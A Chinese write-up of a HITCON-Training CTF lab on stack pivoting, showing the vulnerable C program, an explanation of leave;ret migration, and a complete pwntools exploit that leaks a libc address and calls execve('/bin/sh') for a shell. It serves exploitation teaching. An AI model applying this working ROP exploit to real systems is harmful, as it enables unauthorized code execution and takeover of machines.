例子
https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab6
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int count = 1337 ;
int main(){
if(count != 1337)
exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return 0;
}
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie a.c -o a
之前方法的问题
buf只有40B,但是却read了64B,这里发生了栈溢出
实际测试得到offset=44,所以只有20B可以写exp
ret2text没有对应的函数
ret2shellcode有read函数,bss有写权限,可以read在bss中写入shellcode,然后write返回到bss,但是长度超过了24B
ret2libc:泄露地址什么的可以使用puts泄露地址,count限制了执行次数,那就利用read修改count然后再执行main
但是很可惜,超过长度了,20B只能写下5个数值
再次执行main的目的是在保持libc装载位置不变的情况下再次写入exp并执行,如果越过exit的判断从main中间开始执行的话,由于堆栈不平衡,read的地址是一个无效的地址,ret不到
栈迁移
- 栈迁移主要是为了解决可溢出空间大小不足的问题
- 原理:覆盖ebp为fake_ebp,然后利用leavel ; ret ; 把esp劫持到fake_ebp上去
- leave ret相当于
mov $esp, $ebp; 用ebp的值写入esp
pop $ebp
pop $eip
- 模版:exp1 = buf1 + ROP1 + read@plt + leave_ret + STDIN + buf1 + Len1
- 初始:要执行leave ; ret; . ebp指向buf,esp指向低位未知区域
- leave:
- mov $esp, $ebp;
- esp=ebp -> buf1
- pop ebp;
- ebp=buf1
- esp->ROP1
- mov $esp, $ebp;
- ret:
- pop $eip
- esp->read@plt
- eip=ROP1
- pop $eip
- ROP1's ret
- pop $eip
- esp->leave_ret
- eip=read@plt
- pop $eip
- read(STDIN, buf1, Len)
- 往buf1里面写入下一个exp2,长度由Len1决定
- exp2 = buf2 + ROP2 + read@plt + leave_ret + STDIN + buf2 + Len
- leave_ret
- 情况回到开头,开始循环
- 最开始不放ROP,则exp最短=len(junk) + 6*8
- 利用栈迁移可以不断获得一个可写且可被ret到的区域,只要第一个能成功,后续不会再受到原来溢出点长度的限制
应用
- 在这个例子中,junk=40,第一个exp最短=40+6*8=64刚刚好
- 并且buf的位置有要求:
- 位置已知
- 可以写,如果可以执行那就可以ret2shellcode了
- 不影响正常的函数过程,可以适当的调整位置
#!/usr/bin/python
# coding=utf-8
from pwn import *
from time import *
from string import *
from LibcSearcher import *
context.log_level='Debug'
context(arch='i386', os='linux')
file_name='migration.dms'
sh=process(file_name)
gdb.attach(sh)
offset=40
addr={
'pop1_ret': 0x0804836d,
'.bss': 0x0804a00c,
'read@plt': 0x08048380,
'puts@plt': 0x08048390,
'lsm@got': 0x08049ff8,
'leave_ret':0x08048504
}
buf=(
addr['.bss']+0x400,
addr['.bss']+0x500,
)
Len=0x100
STDIN=0
STDOUT=1
NULL=0
#exec payload1
sh.sendafter(
'Try your best :\n',
flat(
'A'*offset,
buf[0],
addr['read@plt'],
addr['leave_ret'],
STDIN,
buf[0],
Len
)
)
#exec payload2
sh.send(
flat(
buf[1],
addr['puts@plt'],
addr['pop1_ret'],
addr['lsm@got'],
addr['read@plt'],
addr['leave_ret'],
STDIN,
buf[1],
Len
)
)
#calc addr
lsmAddr=u32(sh.recv(5)[:4])
print("lsmAddr = "+hex(lsmAddr))
libc=LibcSearcher('__libc_start_main', lsmAddr)
baseAddr=lsmAddr-libc.dump('__libc_start_main')
binsh=baseAddr+libc.dump('str_bin_sh')
execve=baseAddr+libc.dump('execve')
print("execve = "+hex(execve))
print("/bin/sh = "+hex(binsh))
#exec payload3
sh.send(
flat(
buf[0],
execve,
0,
binsh,
NULL,
NULL
)
)
sh.interactive()
'''
break *0x8048504
x/wd 0x0804A008
'''
总结
- ret指令和SP寄存器息息相关,如果不把栈迁移到已知的位置,会发现read写入时不知道应该写入哪里,因为ret=>pop IP,read虽然给予了任意写的能力,但是由于栈随机化,SP不可预测,找不到该写到哪里
- 栈迁移可以自己构造一个执行ROP的环境,不用被原来的程序限制
参考
来源:CSDN
作者:我爱陈浩浩
链接:https://blog.csdn.net/chennbnbnb/article/details/104114587